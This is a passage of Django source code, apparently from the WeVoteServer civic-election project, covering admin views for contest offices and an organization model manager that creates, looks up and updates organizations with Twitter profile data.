final_filters |= item measure_queryset = measure_queryset.filter(final_filters) measure_list_objects = measure_queryset if len(measure_list_objects): measure_list_found = True status = 'DUPLICATE_MEASURES_RETRIEVED' success = True else: status = 'NO_DUPLICATE_MEASURES_RETRIEVED' success = True except ContestMeasure.DoesNotExist: # No candidates found. Not a problem. status = 'NO_DUPLICATE_MEASURES_FOUND_DoesNotExist' measure_list_objects = [] success = True except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_possible_duplicate_measures ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) success = False results = { 'success': success, 'status': status, 'google_civic_election_id': google_civic_election_id, 'measure_list_found': measure_list_found, 'measure_list': measure_list_objects, } return results ``` #### File: WeVoteServer/office/views_admin.py ```python from .controllers import offices_import_from_master_server from .models import ContestOffice from .serializers import ContestOfficeSerializer from admin_tools.views import redirect_to_sign_in_page from candidate.models import CandidateCampaign, fetch_candidate_count_for_office from django.http import HttpResponseRedirect from django.core.urlresolvers import reverse from django.contrib import messages from django.contrib.auth.decorators import login_required from django.contrib.messages import get_messages from django.shortcuts import render from election.models import Election, ElectionManager from exception.models import handle_record_found_more_than_one_exception,\ handle_record_not_found_exception, handle_record_not_saved_exception from office.models import ContestOfficeListManager from rest_framework.views import APIView from rest_framework.response import Response from voter.models import voter_has_authority import wevote_functions.admin from wevote_functions.functions import convert_to_int, positive_value_exists logger = wevote_functions.admin.get_logger(__name__) # This page does not need to be protected. # NOTE: @login_required() throws an error. Needs to be figured out if we ever want to secure this page. class OfficesSyncOutView(APIView): def get(self, request, format=None): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) contest_office_list = ContestOffice.objects.all() if positive_value_exists(google_civic_election_id): contest_office_list = contest_office_list.filter(google_civic_election_id=google_civic_election_id) serializer = ContestOfficeSerializer(contest_office_list, many=True) return Response(serializer.data) @login_required def offices_import_from_master_server_view(request): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) state_code = request.GET.get('state_code', '') results = offices_import_from_master_server(request, google_civic_election_id) if not results['success']: messages.add_message(request, messages.ERROR, results['status']) else: messages.add_message(request, messages.INFO, 'Offices import completed. ' 'Saved: {saved}, Updated: {updated}, ' 'Master data not imported (local duplicates found): ' '{duplicates_removed}, ' 'Not processed: {not_processed}' ''.format(saved=results['saved'], updated=results['updated'], duplicates_removed=results['duplicates_removed'], not_processed=results['not_processed'])) return HttpResponseRedirect(reverse('admin_tools:sync_dashboard', args=()) + "?google_civic_election_id=" + str(google_civic_election_id) + "&state_code=" + str(state_code)) @login_required def office_list_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) messages_on_stage = get_messages(request) google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) office_list_manager = ContestOfficeListManager() updated_office_list = [] results = office_list_manager.retrieve_all_offices_for_upcoming_election(google_civic_election_id, True) if results['office_list_found']: office_list = results['office_list_objects'] for office in office_list: office.candidate_count = fetch_candidate_count_for_office(office.id) updated_office_list.append(office) election_list = Election.objects.order_by('-election_day_text') template_values = { 'messages_on_stage': messages_on_stage, 'office_list': updated_office_list, 'election_list': election_list, 'google_civic_election_id': google_civic_election_id, } return render(request, 'office/office_list.html', template_values) @login_required def office_new_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = request.GET.get('google_civic_election_id', 0) office_list_manager = ContestOfficeListManager() updated_office_list = [] results = office_list_manager.retrieve_all_offices_for_upcoming_election(google_civic_election_id, True) if results['office_list_found']: office_list = results['office_list_objects'] for office in office_list: office.candidate_count = fetch_candidate_count_for_office(office.id) updated_office_list.append(office) messages_on_stage = get_messages(request) template_values = { 'messages_on_stage': messages_on_stage, 'google_civic_election_id': google_civic_election_id, 'office_list': updated_office_list, } return render(request, 'office/office_edit.html', template_values) @login_required def office_edit_view(request, office_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) messages_on_stage = get_messages(request) office_id = convert_to_int(office_id) google_civic_election_id = request.GET.get('google_civic_election_id', 0) office_on_stage_found = False try: office_on_stage = ContestOffice.objects.get(id=office_id) office_on_stage_found = True except ContestOffice.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except ContestOffice.DoesNotExist: # This is fine, create new pass if office_on_stage_found: template_values = { 'messages_on_stage': messages_on_stage, 'office': office_on_stage, 'google_civic_election_id': google_civic_election_id, } else: template_values = { 'messages_on_stage': messages_on_stage, 'google_civic_election_id': google_civic_election_id, } return render(request, 'office/office_edit.html', template_values) @login_required def office_edit_process_view(request): """ Process the new or edit office forms :param request: :return: """ authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) office_id = convert_to_int(request.POST.get('office_id', 0)) office_name = request.POST.get('office_name', False) google_civic_election_id = request.POST.get('google_civic_election_id', 0) primary_party = request.POST.get('primary_party', False) state_code = request.POST.get('state_code', False) election_state = '' if state_code is not False: election_state = state_code elif google_civic_election_id: election_manager = ElectionManager() results = election_manager.retrieve_election(google_civic_election_id) if results['election_found']: election = results['election'] election_state = election.get_election_state() # Check to see if this office is already in the database office_on_stage_found = False try: office_query = ContestOffice.objects.filter(id=office_id) if len(office_query): office_on_stage = office_query[0] office_on_stage_found = True except Exception as e: handle_record_not_found_exception(e, logger=logger) try: if office_on_stage_found: # Update # Removed for now: convert_to_int(office_on_stage.google_civic_election_id) >= 1000000 and if office_name is not False: office_on_stage.office_name = office_name if primary_party is not False: office_on_stage.primary_party = primary_party if positive_value_exists(election_state): office_on_stage.state_code = election_state office_on_stage.save() messages.add_message(request, messages.INFO, 'Office updated.') google_civic_election_id = office_on_stage.google_civic_election_id return HttpResponseRedirect(reverse('office:office_list', args=()) + "?google_civic_election_id=" + google_civic_election_id) else: # Create new office_on_stage = ContestOffice( office_name=office_name, google_civic_election_id=google_civic_election_id, state_code=election_state, ) # Removing this limitation: convert_to_int(office_on_stage.google_civic_election_id) >= 1000000 and if primary_party is not False: office_on_stage.primary_party = primary_party office_on_stage.save() messages.add_message(request, messages.INFO, 'New office saved.') # Come back to the "Create New Office" page return HttpResponseRedirect(reverse('office:office_new', args=()) + "?google_civic_election_id=" + google_civic_election_id) except Exception as e: handle_record_not_saved_exception(e, logger=logger) messages.add_message(request, messages.ERROR, 'Could not save office.') return HttpResponseRedirect(reverse('office:office_list', args=()) + "?google_civic_election_id=" + google_civic_election_id) @login_required def office_summary_view(request, office_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) messages_on_stage = get_messages(request) office_id = convert_to_int(office_id) office_on_stage_found = False google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) try: office_on_stage = ContestOffice.objects.get(id=office_id) office_on_stage_found = True google_civic_election_id = office_on_stage.google_civic_election_id except ContestOffice.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except ContestOffice.DoesNotExist: # This is fine, create new pass try: candidate_list = CandidateCampaign.objects.filter(contest_office_id=office_id) if positive_value_exists(google_civic_election_id): candidate_list = candidate_list.filter(google_civic_election_id=google_civic_election_id) candidate_list = candidate_list.order_by('candidate_name') except CandidateCampaign.DoesNotExist: # This is fine, create new pass election_list = Election.objects.order_by('-election_day_text') if office_on_stage_found: template_values = { 'messages_on_stage': messages_on_stage, 'office': office_on_stage, 'candidate_list': candidate_list, 'election_list': election_list, 'google_civic_election_id': google_civic_election_id, } else: template_values = { 'messages_on_stage': messages_on_stage, } return render(request, 'office/office_summary.html', template_values) @login_required def office_delete_process_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) office_id = convert_to_int(request.GET.get('office_id', 0)) google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) office_on_stage_found = False office_on_stage = ContestOffice() try: office_on_stage = ContestOffice.objects.get(id=office_id) office_on_stage_found = True google_civic_election_id = office_on_stage.google_civic_election_id except ContestOffice.MultipleObjectsReturned as e: pass except ContestOffice.DoesNotExist: pass candidates_found_for_this_office = False if office_on_stage_found: try: candidate_list = CandidateCampaign.objects.filter(contest_office_id=office_id) # if positive_value_exists(google_civic_election_id): # candidate_list = candidate_list.filter(google_civic_election_id=google_civic_election_id) candidate_list = candidate_list.order_by('candidate_name') if len(candidate_list): candidates_found_for_this_office = True except CandidateCampaign.DoesNotExist: pass try: if not candidates_found_for_this_office: # Delete the office office_on_stage.delete() messages.add_message(request, messages.INFO, 'Office deleted.') else: messages.add_message(request, messages.ERROR, 'Could not delete -- ' 'candidates still attached to this office.') return HttpResponseRedirect(reverse('office:office_summary', args=(office_id,))) except Exception as e: messages.add_message(request, messages.ERROR, 'Could not delete office -- exception.') return HttpResponseRedirect(reverse('office:office_summary', args=(office_id,))) return HttpResponseRedirect(reverse('office:office_list', args=()) + "?google_civic_election_id=" + str(google_civic_election_id)) ``` #### File: WeVoteServer/organization/models.py ```python from django.db import models from django.db.models import Q from exception.models import handle_exception, \ handle_record_found_more_than_one_exception, handle_record_not_saved_exception from import_export_twitter.functions import retrieve_twitter_user_info import wevote_functions.admin from wevote_functions.functions import convert_to_int, extract_twitter_handle_from_text_string, positive_value_exists from wevote_settings.models import fetch_next_we_vote_id_last_org_integer, fetch_site_unique_id_prefix logger = wevote_functions.admin.get_logger(__name__) class OrganizationManager(models.Manager): """ A class for working with the Organization model """ def create_organization_simple(self, organization_name, organization_website, organization_twitter_handle, organization_email='', organization_facebook='', organization_image=''): try: organization = self.create(organization_name=organization_name, organization_website=organization_website, organization_twitter_handle=organization_twitter_handle, organization_email=organization_email, organization_facebook=organization_facebook, organization_image=organization_image) except Exception as e: handle_record_not_saved_exception(e, logger=logger) organization = Organization return organization def create_organization(self, organization_name, organization_website, organization_twitter_handle, organization_email='', organization_facebook='', organization_image=''): try: organization = self.create(organization_name=organization_name, organization_website=organization_website, organization_twitter_handle=organization_twitter_handle, organization_email=organization_email, organization_facebook=organization_facebook, organization_image=organization_image) status = "CREATE_ORGANIZATION_SUCCESSFUL" success = True except Exception as e: handle_record_not_saved_exception(e, logger=logger) organization = Organization status = "CREATE_ORGANIZATION_FAILED" success = False results = { 'success': success, 'status': status, 'organization': organization, } return results def retrieve_organization_from_id(self, organization_id): return self.retrieve_organization(organization_id) def retrieve_organization_from_we_vote_id(self, organization_we_vote_id): return self.retrieve_organization(0, organization_we_vote_id) def retrieve_organization_from_vote_smart_id(self, vote_smart_id): return self.retrieve_organization(0, '', vote_smart_id) def retrieve_organization(self, organization_id, we_vote_id=None, vote_smart_id=None): error_result = False exception_does_not_exist = False exception_multiple_object_returned = False organization_on_stage = Organization() organization_on_stage_id = 0 status = "ERROR_ENTERING_RETRIEVE_ORGANIZATION" try: if positive_value_exists(organization_id): status = "ERROR_RETRIEVING_ORGANIZATION_WITH_ID" organization_on_stage = Organization.objects.get(id=organization_id) organization_on_stage_id = organization_on_stage.id status = "ORGANIZATION_FOUND_WITH_ID" elif positive_value_exists(we_vote_id): status = "ERROR_RETRIEVING_ORGANIZATION_WITH_WE_VOTE_ID" organization_on_stage = Organization.objects.get(we_vote_id=we_vote_id) organization_on_stage_id = organization_on_stage.id status = "ORGANIZATION_FOUND_WITH_WE_VOTE_ID" elif positive_value_exists(vote_smart_id): status = "ERROR_RETRIEVING_ORGANIZATION_WITH_VOTE_SMART_ID" organization_on_stage = Organization.objects.get(vote_smart_id=vote_smart_id) organization_on_stage_id = organization_on_stage.id status = "ORGANIZATION_FOUND_WITH_VOTE_SMART_ID" except Organization.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger) error_result = True exception_multiple_object_returned = True status = "ERROR_MORE_THAN_ONE_ORGANIZATION_FOUND" # logger.warn("Organization.MultipleObjectsReturned") except Organization.DoesNotExist: error_result = True exception_does_not_exist = True status += ", ORGANIZATION_NOT_FOUND" # logger.warn("Organization.DoesNotExist") organization_on_stage_found = True if organization_on_stage_id > 0 else False results = { 'success': True if organization_on_stage_found else False, 'status': status, 'organization_found': organization_on_stage_found, 'organization_id': organization_on_stage.id if organization_on_stage.id else organization_on_stage_id, 'we_vote_id': organization_on_stage.we_vote_id if organization_on_stage.we_vote_id else we_vote_id, 'organization': organization_on_stage, 'error_result': error_result, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, } return results def fetch_organization_id(self, we_vote_id): organization_id = 0 if positive_value_exists(we_vote_id): organization_manager = OrganizationManager() results = organization_manager.retrieve_organization(organization_id, we_vote_id) if results['success']: return results['organization_id'] return 0 def fetch_we_vote_id_from_local_id(self, organization_id): if positive_value_exists(organization_id): results = self.retrieve_organization(organization_id) if results['organization_found']: organization = results['organization'] return organization.we_vote_id else: return '' else: return '' # We can use any of these four unique identifiers: # organization.id, we_vote_id, organization_website, organization_twitter_handle # Pass in the value if we want it saved. Pass in "False" if we want to leave it the same. def update_or_create_organization(self, organization_id, we_vote_id, organization_website_search, organization_twitter_search, organization_name=False, organization_website=False, organization_twitter_handle=False, organization_email=False, organization_facebook=False, organization_image=False, refresh_from_twitter=False): """ Either update or create an organization entry. """ exception_does_not_exist = False exception_multiple_object_returned = False organization_on_stage_found = False new_organization_created = False organization_on_stage = Organization() status = "ENTERING_UPDATE_OR_CREATE_ORGANIZATION" organization_id = convert_to_int(organization_id) if positive_value_exists(organization_id) else False we_vote_id = we_vote_id.strip().lower() if we_vote_id else False organization_website_search = organization_website_search.strip() if organization_website_search else False organization_twitter_search = organization_twitter_search.strip() if organization_twitter_search else False organization_name = organization_name.strip() if organization_name else False organization_website = organization_website.strip() if organization_website else False organization_twitter_handle = organization_twitter_handle.strip() if organization_twitter_handle else False organization_email = organization_email.strip() if organization_email else False organization_facebook = organization_facebook.strip() if organization_facebook else False organization_image = organization_image.strip() if organization_image else False # Values that can only be updated by a refresh_from_twitter twitter_user_id = False twitter_name = False twitter_followers_count = False twitter_profile_image_url_https = False twitter_profile_banner_url_https = False twitter_profile_background_image_url_https = False twitter_description = False twitter_location = False twitter_url = False # In order of authority # 1) organization_id exists? Find it with organization_id or fail # 2) we_vote_id exists? Find it with we_vote_id or fail # 3) organization_website_search exists? Try to find it. If not, go to step 4 # 4) organization_twitter_search exists? Try to find it. If not, exit success = False if positive_value_exists(organization_id) or positive_value_exists(we_vote_id): # If here, we know we are updating # 1) organization_id exists? Find it with organization_id or fail # 2) we_vote_id exists? Find it with we_vote_id or fail organization_results = self.retrieve_organization(organization_id, we_vote_id) if organization_results['success']: organization_on_stage = organization_results['organization'] organization_on_stage_found = True # Now that we have an organization to update, get supplemental data from Twitter if # refresh_from_twitter is true if positive_value_exists(organization_twitter_handle) and refresh_from_twitter: results = retrieve_twitter_user_info(organization_twitter_handle) if results['success']: twitter_json = results['twitter_json'] if positive_value_exists(twitter_json['id']): twitter_user_id = convert_to_int(twitter_json['id']) if positive_value_exists(twitter_json['name']): twitter_name = twitter_json['name'] # Use Twitter value if a value for this variable was NOT passed in if not positive_value_exists(organization_name): organization_name = twitter_json['name'] # TODO DALE Look more closely at saving the actual url from twitter (not the Twitter shortcut) # if positive_value_exists(twitter_json['twitter_url']): # # Use Twitter value if a value for this variable was NOT passed in # if not positive_value_exists(organization_website): # organization_website = twitter_json['twitter_url'] twitter_followers_count = convert_to_int(twitter_json['followers_count']) if positive_value_exists(twitter_json['profile_image_url_https']): twitter_profile_image_url_https = twitter_json['profile_image_url_https'] if 'profile_banner_url' in twitter_json: twitter_profile_banner_url_https = twitter_json['profile_banner_url'] twitter_profile_background_image_url_https = \ twitter_json['profile_background_image_url_https'] twitter_description = twitter_json['description'] twitter_location = twitter_json['location'] value_changed = False if organization_name or organization_website or organization_twitter_handle \ or organization_email or organization_facebook or organization_image: value_changed = True if organization_name: organization_on_stage.organization_name = organization_name if organization_website: organization_on_stage.organization_website = organization_website if organization_twitter_handle: organization_on_stage.organization_twitter_handle = organization_twitter_handle if organization_email: organization_on_stage.organization_email = organization_email if organization_facebook: organization_on_stage.organization_facebook = organization_facebook if organization_image: organization_on_stage.organization_image = organization_image if twitter_user_id or twitter_name or twitter_followers_count or twitter_profile_image_url_https \ or twitter_profile_banner_url_https or twitter_profile_background_image_url_https \ or twitter_description or twitter_location: # Values that can only be added by a refresh_from_twitter value_changed = True if twitter_user_id: organization_on_stage.twitter_user_id = twitter_user_id if twitter_name: organization_on_stage.twitter_name = twitter_name if twitter_followers_count: organization_on_stage.twitter_followers_count = twitter_followers_count if twitter_profile_image_url_https: organization_on_stage.twitter_profile_image_url_https = twitter_profile_image_url_https if twitter_profile_banner_url_https: organization_on_stage.twitter_profile_banner_url_https = twitter_profile_banner_url_https if twitter_profile_background_image_url_https: organization_on_stage.twitter_profile_background_image_url_https = \ twitter_profile_background_image_url_https if twitter_description: organization_on_stage.twitter_description = twitter_description if twitter_location: organization_on_stage.twitter_location = twitter_location if value_changed: organization_on_stage.save() success = True status = "SAVED_WITH_ORG_ID_OR_WE_VOTE_ID" else: success = True status = "NO_CHANGES_SAVED_WITH_ORG_ID_OR_WE_VOTE_ID" else: status = "ORGANIZATION_COULD_NOT_BE_FOUND_WITH_ORG_ID_OR_WE_VOTE_ID" else: try: found_with_status = '' # 3) organization_website_search exists? Try to find it. If not, go to step 4 if positive_value_exists(organization_website_search): try: organization_on_stage = Organization.objects.get( organization_website=organization_website_search) organization_on_stage_found = True found_with_status = "FOUND_WITH_WEBSITE" except Organization.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger) exception_multiple_object_returned = True logger.warn("Organization.MultipleObjectsReturned") except Organization.DoesNotExist as e: # Not a problem -- an organization matching this twitter handle wasn't found exception_does_not_exist = True # 4) organization_twitter_search exists? Try to find it. If not, exit if not organization_on_stage_found: if positive_value_exists(organization_twitter_search): try: organization_on_stage = Organization.objects.get( organization_twitter_handle=organization_twitter_search) organization_on_stage_found = True found_with_status = "FOUND_WITH_TWITTER" except Organization.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger) exception_multiple_object_returned = True logger.warn("Organization.MultipleObjectsReturned") except Organization.DoesNotExist as e: # Not a problem -- an organization matching this twitter handle wasn't found exception_does_not_exist = True # 3 & 4) Save values entered in steps 3 & 4 if organization_on_stage_found: # Now that we have an organization to update, get supplemental data from Twitter if # refresh_from_twitter is true if positive_value_exists(organization_twitter_handle) and refresh_from_twitter: results = retrieve_twitter_user_info(organization_twitter_handle) if results['success']: twitter_json = results['twitter_json'] if positive_value_exists(twitter_json['id']): twitter_user_id = convert_to_int(twitter_json['id']) if positive_value_exists(twitter_json['name']): twitter_name = twitter_json['name'] # Use Twitter value if a value for this variable was NOT passed in if not positive_value_exists(organization_name): organization_name = twitter_json['name'] twitter_followers_count = convert_to_int(twitter_json['followers_count']) if positive_value_exists(twitter_json['profile_image_url_https']): twitter_profile_image_url_https = twitter_json['profile_image_url_https'] if 'profile_banner_url' in twitter_json: twitter_profile_banner_url_https = twitter_json['profile_banner_url'] twitter_profile_background_image_url_https = \ twitter_json['profile_background_image_url_https'] twitter_description = twitter_json['description'] twitter_location = twitter_json['location'] value_changed = False if organization_name or organization_website or organization_twitter_handle \ or organization_email or organization_facebook or organization_image: value_changed = True if organization_name: organization_on_stage.organization_name = organization_name if organization_website: organization_on_stage.organization_website = organization_website if organization_twitter_handle: organization_on_stage.organization_twitter_handle = organization_twitter_handle if organization_email: organization_on_stage.organization_email = organization_email if organization_facebook: organization_on_stage.organization_facebook = organization_facebook if organization_image: organization_on_stage.organization_image = organization_image if twitter_user_id or twitter_name or twitter_followers_count or twitter_profile_image_url_https \ or twitter_profile_banner_url_https or twitter_profile_background_image_url_https \ or twitter_description or twitter_location: # Values that can only be added by a refresh_from_twitter value_changed = True if twitter_user_id: organization_on_stage.twitter_user_id = twitter_user_id if twitter_name: organization_on_stage.twitter_name = twitter_name if twitter_followers_count: organization_on_stage.twitter_followers_count = twitter_followers_count if twitter_profile_image_url_https: organization_on_stage.twitter_profile_image_url_https = twitter_profile_image_url_https if twitter_profile_banner_url_https: organization_on_stage.twitter_profile_banner_url_https = twitter_profile_banner_url_https if twitter_profile_background_image_url_https: organization_on_stage.twitter_profile_background_image_url_https = \ twitter_profile_background_image_url_https if twitter_description: organization_on_stage.twitter_description = twitter_description if twitter_location: organization_on_stage.twitter_location = twitter_location if value_changed: organization_on_stage.save() success = True status = found_with_status + " SAVED" else: success = True status = found_with_status + " NO_CHANGES_SAVED" except Exception as e: handle_record_not_saved_exception(e, logger=logger) if not organization_on_stage_found: try: # Now that we have an organization to update, get supplemental data from Twitter if # refresh_from_twitter is true if positive_value_exists(organization_twitter_handle) and refresh_from_twitter: results = retrieve_twitter_user_info(organization_twitter_handle) if results['success']: twitter_json = results['twitter_json'] if positive_value_exists(twitter_json['id']): twitter_user_id = convert_to_int(twitter_json['id']) if positive_value_exists(twitter_json['name']): twitter_name = twitter_json['name'] # Use Twitter value if a value for this variable was NOT passed in if not positive_value_exists(organization_name): organization_name = twitter_json['name'] twitter_followers_count = convert_to_int(twitter_json['followers_count']) if positive_value_exists(twitter_json['profile_image_url_https']): twitter_profile_image_url_https = twitter_json['profile_image_url_https'] if 'profile_banner_url' in twitter_json: twitter_profile_banner_url_https = twitter_json['profile_banner_url'] twitter_profile_background_image_url_https = \ twitter_json['profile_background_image_url_https'] twitter_description = twitter_json['description'] twitter_location = twitter_json['location'] # If here, create new organization results = Organization.objects.create_organization(organization_name, organization_website, organization_twitter_handle, organization_email, organization_facebook, organization_image) if results['success']: new_organization_created = True success = True status = "NEW_ORGANIZATION_CREATED_IN_UPDATE_OR_CREATE" organization_on_stage = results['organization'] if twitter_user_id or twitter_name or twitter_followers_count or twitter_profile_image_url_https \ or twitter_profile_banner_url_https or twitter_profile_background_image_url_https \ or twitter_description or twitter_location: # Values that can only be added by a refresh_from_twitter if twitter_user_id: organization_on_stage.twitter_user_id = twitter_user_id if twitter_name: organization_on_stage.twitter_name = twitter_name if twitter_followers_count: organization_on_stage.twitter_followers_count = twitter_followers_count if twitter_profile_image_url_https: organization_on_stage.twitter_profile_image_url_https = twitter_profile_image_url_https if twitter_profile_banner_url_https: organization_on_stage.twitter_profile_banner_url_https = twitter_profile_banner_url_https if twitter_profile_background_image_url_https: organization_on_stage.twitter_profile_background_image_url_https = \ twitter_profile_background_image_url_https if twitter_description: organization_on_stage.twitter_description = twitter_description if twitter_location: organization_on_stage.twitter_location = twitter_location organization_on_stage.save() status += " TWITTER_VALUES_RETRIEVED_AND_SAVED" else: success = False status = results['status'] organization_on_stage = Organization except Exception as e: handle_record_not_saved_exception(e, logger=logger) success = False status = "NEW_ORGANIZATION_COULD_NOT_BE_CREATED" organization_on_stage = Organization results = { 'success': success, 'status': status, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, 'organization': organization_on_stage, 'new_organization_created': new_organization_created, } return results def update_organization_social_media(self, organization, organization_twitter_handle=False, organization_facebook=False): """ Update an organization entry with general social media data. If a value is passed in False it means "Do not update" """ exception_does_not_exist = False exception_multiple_object_returned = False success = False status = "ENTERING_UPDATE_ORGANIZATION_SOCIAL_MEDIA" values_changed = False organization_twitter_handle = organization_twitter_handle.strip() if organization_twitter_handle else False organization_facebook = organization_facebook.strip() if organization_facebook else False # organization_image = organization_image.strip() if organization_image else False if organization: if organization_twitter_handle: if organization_twitter_handle != organization.organization_twitter_handle: organization.organization_twitter_handle = organization_twitter_handle values_changed = True if organization_facebook: if organization_facebook != organization.organization_facebook: organization.organization_facebook = organization_facebook values_changed = True if values_changed: organization.save() success = True status = "SAVED_ORG_SOCIAL_MEDIA" else: success = True status = "NO_CHANGES_SAVED_TO_ORG_SOCIAL_MEDIA" results = { 'success': success, 'status': status, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, 'organization': organization, } return results def update_organization_twitter_details(self, organization, twitter_json): """ Update an organization entry with details retrieved from the Twitter API. """ success = False status = "ENTERING_UPDATE_ORGANIZATION_TWITTER_DETAILS" values_changed = False if organization: if positive_value_exists(twitter_json['id']): if convert_to_int(twitter_json['id']) != organization.twitter_user_id: organization.twitter_user_id = convert_to_int(twitter_json['id']) values_changed = True if positive_value_exists(twitter_json['screen_name']): if twitter_json['screen_name'] != organization.organization_twitter_handle: organization.organization_twitter_handle = twitter_json['screen_name'] values_changed = True if positive_value_exists(twitter_json['name']): if twitter_json['name'] != organization.twitter_name: organization.twitter_name = twitter_json['name'] values_changed = True if positive_value_exists(twitter_json['followers_count']): if convert_to_int(twitter_json['followers_count']) != organization.twitter_followers_count: organization.twitter_followers_count = convert_to_int(twitter_json['followers_count']) values_changed = True if positive_value_exists(twitter_json['profile_image_url_https']): if twitter_json['profile_image_url_https'] != organization.twitter_profile_image_url_https: organization.twitter_profile_image_url_https = twitter_json['profile_image_url_https'] values_changed = True if 'profile_banner_url' in twitter_json and positive_value_exists(twitter_json['profile_banner_url']): if twitter_json['profile_banner_url'] != organization.twitter_profile_banner_url_https: organization.twitter_profile_banner_url_https = twitter_json['profile_banner_url'] values_changed = True if positive_value_exists(twitter_json['profile_background_image_url_https']): if twitter_json['profile_background_image_url_https'] != \ organization.twitter_profile_background_image_url_https: organization.twitter_profile_background_image_url_https = \ twitter_json['profile_background_image_url_https'] values_changed = True if positive_value_exists(twitter_json['description']): if twitter_json['description'] != organization.twitter_description: organization.twitter_description = twitter_json['description'] values_changed = True if positive_value_exists(twitter_json['location']): if twitter_json['location'] != organization.twitter_location: organization.twitter_location = twitter_json['location'] values_changed = True if values_changed: organization.save() success = True status = "SAVED_ORG_TWITTER_DETAILS" else: success = True status = "NO_CHANGES_SAVED_TO_ORG_TWITTER_DETAILS" results = { 'success': success, 'status': status, 'organization': organization, } return results def clear_organization_twitter_details(self, organization): """ Update an organization entry with details retrieved from the Twitter API. """ success = False status = "ENTERING_UPDATE_ORGANIZATION_TWITTER_DETAILS" if organization: organization.twitter_user_id = 0 # We leave the handle in place # organization.organization_twitter_handle = "" organization.twitter_name = '' organization.twitter_followers_count = 0 organization.twitter_profile_image_url_https = '' organization.twitter_description = '' organization.twitter_location = '' organization.save() success = True status = "CLEARED_ORG_TWITTER_DETAILS" results = { 'success': success, 'status': status, 'organization': organization, } return results def delete_organization(self, organization_id): organization_id = convert_to_int(organization_id) organization_deleted = False try: if organization_id: results = self.retrieve_organization(organization_id) if results['organization_found']: organization = results['organization'] organization_id = organization.id organization.delete() organization_deleted = True except Exception as e: handle_exception(e, logger=logger) results = { 'success': organization_deleted, 'organization_deleted': organization_deleted, 'organization_id': organization_id, } return results class OrganizationListManager(models.Manager): """ A class for working with lists of Organizations """ def organization_search_find_any_possibilities(self, organization_name, organization_twitter_handle='', organization_website='', organization_email='', organization_facebook=''): """ We want to find *any* possible organization that includes any of the search terms :param organization_name: :param organization_twitter_handle: :param organization_website: :param organization_email: :param organization_facebook: :return: """ organization_list_for_json = {} try: filters = [] organization_list_for_json = [] organization_objects_list = [] if positive_value_exists(organization_name): new_filter = Q(organization_name__icontains=organization_name) # # Find entries with any word in the string - DALE 2016-05-06 This didn't feel right # from functools import reduce # organization_name_list = organization_name.split(" ") # new_filter = reduce(lambda x, y: x | y, # [Q(organization_name__icontains=word) for word in organization_name_list]) filters.append(new_filter) if positive_value_exists(organization_twitter_handle): new_filter = Q(organization_twitter_handle__icontains=organization_twitter_handle) filters.append(new_filter) if positive_value_exists(organization_website): new_filter = Q(organization_website__icontains=organization_website) filters.append(new_filter) if positive_value_exists(organization_email): new_filter = Q(organization_email__icontains=organization_email) filters.append(new_filter) if positive_value_exists(organization_facebook): new_filter = Q(organization_facebook__icontains=organization_facebook) filters.append(new_filter) # Add the first query if len(filters): final_filters = filters.pop() # ...and "OR" the remaining items in the list for item in filters: final_filters |= item organization_objects_list = Organization.objects.filter(final_filters) if len(organization_objects_list): organizations_found = True status = 'ORGANIZATIONS_RETRIEVED' for organization in organization_objects_list: one_organization_json = { 'organization_id': organization.id, 'organization_we_vote_id': organization.we_vote_id, 'organization_name': organization.organization_name if positive_value_exists( organization.organization_name) else '', 'organization_website': organization.organization_website if positive_value_exists( organization.organization_website) else '', 'organization_twitter_handle': organization.organization_twitter_handle if positive_value_exists( organization.organization_twitter_handle) else '', 'organization_email': organization.organization_email if positive_value_exists( organization.organization_email) else '', 'organization_facebook': organization.organization_facebook if positive_value_exists( organization.organization_facebook) else '', } organization_list_for_json.append(one_organization_json) else: organizations_found = False status = 'NO_ORGANIZATIONS_RETRIEVED' success = True except Organization.DoesNotExist: # No organizations found. Not a problem. organizations_found = False status = 'NO_ORGANIZATIONS_FOUND_DoesNotExist' success = True # We are still successful if no organizations are found except Exception as e: organizations_found = False handle_exception(e, logger=logger) status = 'FAILED organization_search_find_any_possibilities ' \ '{error} [type: {error_type}]'.format(error=e.message, error_type=type(e)) success = False results = { 'status': status, 'success': success, 'organizations_found': organizations_found, 'organizations_list': organization_list_for_json, } return results def retrieve_organizations_by_id_list(self, organization_ids_followed_by_voter): organization_list = [] organization_list_found = False if not type(organization_ids_followed_by_voter) is list: status = 'NO_ORGANIZATIONS_FOUND_MISSING_ORGANIZATION_LIST' success = False results = { 'success': success, 'status': status, 'organization_list_found': organization_list_found, 'organization_list': organization_list, } return results if not len(organization_ids_followed_by_voter): status = 'NO_ORGANIZATIONS_FOUND_NO_ORGANIZATIONS_IN_LIST' success = False results = { 'success': success, 'status': status, 'organization_list_found': organization_list_found, 'organization_list': organization_list, } return results try: organization_queryset = 